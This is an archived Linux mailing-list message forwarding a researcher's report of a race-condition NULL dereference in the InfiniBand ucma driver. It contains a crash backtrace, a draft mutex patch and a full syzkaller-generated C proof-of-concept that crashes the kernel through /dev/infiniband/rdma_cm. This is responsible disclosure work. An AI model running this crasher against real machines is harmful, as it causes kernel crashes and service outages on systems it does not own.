[lianyihan@xxxxxx: linux driver infiniband vulnerability report]

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Thank you for your report!

The syzcaller stuff is all public information so we just push it out to
the normal email lists.

regards,
dan carpenter

----- Forwarded message from 连一汉 <lianyihan@xxxxxx> -----

Date: Fri, 30 Mar 2018 08:16:09 +0000
From: 连一汉 <lianyihan@xxxxxx>
To: "edumazet@xxxxxxxxxx" <edumazet@xxxxxxxxxx>
CC: "security@xxxxxxxxxx" <security@xxxxxxxxxx>
Subject: linux driver infiniband vulnerability report
Message-ID: <A962A2D04FAB5C4499FEFD15B642FA0A35E231EE@xxxxxxxxxxxxxxxxxxx>

Hi,

I’m Lian yihan, a security researcher of Qihoo 360 GearTeam.

I found a vulnerability of Linux driver infiniband, and I have reproduce it on Linux-4.14.31.

=============== crash info =================
#0  rdma_destroy_id (id=0x0 <irq_stack_union>) at drivers/infiniband/core/cma.c:1652
#1  0xffffffff83140a06 in ucma_destroy_id (file=<optimized out>, inbuf=<optimized out>, in_len=<optimized out>, out_len=<optimized out>)
    at drivers/infiniband/core/ucma.c:606
#2  0xffffffff83140f1f in ucma_write (filp=<optimized out>, buf=0x20000380 "\001", len=24, pos=<optimized out>) at drivers/infiniband/core/ucma.c:1626
#3  0xffffffff81a097a6 in __vfs_write (file=0xffff88007f20e6c0, p=<optimized out>, count=24, pos=0xffff880090c97d98) at fs/read_write.c:480
#4  0xffffffff81a09d48 in vfs_write (file=0xffff88007f20e6c0, buf=0x20000380 "\001", count=24, pos=<optimized out>) at fs/read_write.c:544

You can see (struct rdma_cm_id*) pointer id of rdma_destroy_id is zero.

There are many functions of ucma.c have similar BUGs.

And I have seen some similar BUGs on your “syzbot” website, But I don’t find the patch.

I try to write a simple patch in ucma_create_id() function as follow(I’m not sure it is complete enough):

static ssize_t ucma_create_id(struct ucma_file *file, const char __user *inbuf,
                               int in_len, int out_len)
{
        …
mutex_lock(&mut);                                        // The lock could patch the BUG mentioned in this email, but I’m not sure it is complete enough.
        ctx->uid = cmd.uid;
        ctx->cm_id = rdma_create_id(current->nsproxy->net_ns,
                                     ucma_event_handler, ctx, cmd.ps, qp_type);
        mutex_unlock(&mut);
        …
}

The attachment is my POC. Of course you need to build infiniband in kernel, if you want to reproduce it.

Regards



// autogenerated by syzkaller (http://github.com/google/syzkaller)

#define _GNU_SOURCE
#include <endian.h>
#include <linux/futex.h>
#include <pthread.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

static void test();

void loop()
{
  while (1) {
    test();
  }
}

struct thread_t {
  int created, running, call;
  pthread_t th;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static int collide;

static void* thr(void* arg)
{
  struct thread_t* th = (struct thread_t*)arg;
  for (;;) {
    while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
      syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
    execute_call(th->call);
    __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
    __atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
    syscall(SYS_futex, &th->running, FUTEX_WAKE);
  }
  return 0;
}

static void execute(int num_calls)
{
  int call, thread;
  running = 0;
  for (call = 0; call < num_calls; call++) {
    for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) {
      struct thread_t* th = &threads[thread];
      if (!th->created) {
        th->created = 1;
        pthread_attr_t attr;
        pthread_attr_init(&attr);
        pthread_attr_setstacksize(&attr, 128 << 10);
        pthread_create(&th->th, &attr, thr, th);
      }
      if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) {
        th->call = call;
        __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
        __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
        syscall(SYS_futex, &th->running, FUTEX_WAKE);
        if (collide && call % 2)
          break;
        struct timespec ts;
        ts.tv_sec = 0;
        ts.tv_nsec = 20 * 1000 * 1000;
        syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
        if (running)
          usleep((call == num_calls - 1) ? 10000 : 1000);
        break;
      }
    }
  }
}

uint64_t r[2] = {0xffffffffffffffff, 0xffffffff};
void execute_call(int call)
{
  long res;
  switch (call) {
  case 0:
    memcpy((void*)0x20000640, "/dev/infiniband/rdma_cm", 24);
    res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000640, 2, 0);
    if (res != -1)
      r[0] = res;
    break;
  case 1:
    *(uint32_t*)0x20000340 = 0;
    *(uint16_t*)0x20000344 = 0x18;
    *(uint16_t*)0x20000346 = 0xfa00;
    *(uint64_t*)0x20000348 = 0;
    *(uint64_t*)0x20000350 = 0x20000100;
    *(uint16_t*)0x20000358 = 0x106;
    *(uint8_t*)0x2000035a = 0;
    *(uint8_t*)0x2000035b = 0;
    *(uint8_t*)0x2000035c = 0;
    *(uint8_t*)0x2000035d = 0;
    *(uint8_t*)0x2000035e = 0;
    *(uint8_t*)0x2000035f = 0;
    res = syscall(__NR_write, r[0], 0x20000340, 0x20);
    if (res != -1)
      r[1] = *(uint32_t*)0x20000100;
    break;
  case 2:
    *(uint32_t*)0x20000380 = 1;
    *(uint16_t*)0x20000384 = 0x10;
    *(uint16_t*)0x20000386 = 0xfa00;
    *(uint64_t*)0x20000388 = 0x20000300;
    *(uint32_t*)0x20000390 = r[1];
    *(uint32_t*)0x20000394 = 0;
    syscall(__NR_write, r[0], 0x20000380, 0x18);
    break;
  }
}

void test()
{
  execute(3);
  collide = 1;
  execute(3);
}

int main()
{
  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
  for (;;) {
    loop();
  }
}


----- End forwarded message -----
--
To unsubscribe from this list: send the line "unsubscribe linux-rdma" in
the body of a message to majordomo@xxxxxxxxxxxxxxx
More majordomo info at  http://vger.kernel.org/majordomo-info.html



[Index of Archives]     [Linux USB Devel]     [Video for Linux]     [Linux Audio Users]     [Photo]     [Yosemite News]     [Yosemite Photos]     [Linux Kernel]     [Linux SCSI]     [XFree86]

  Powered by Linux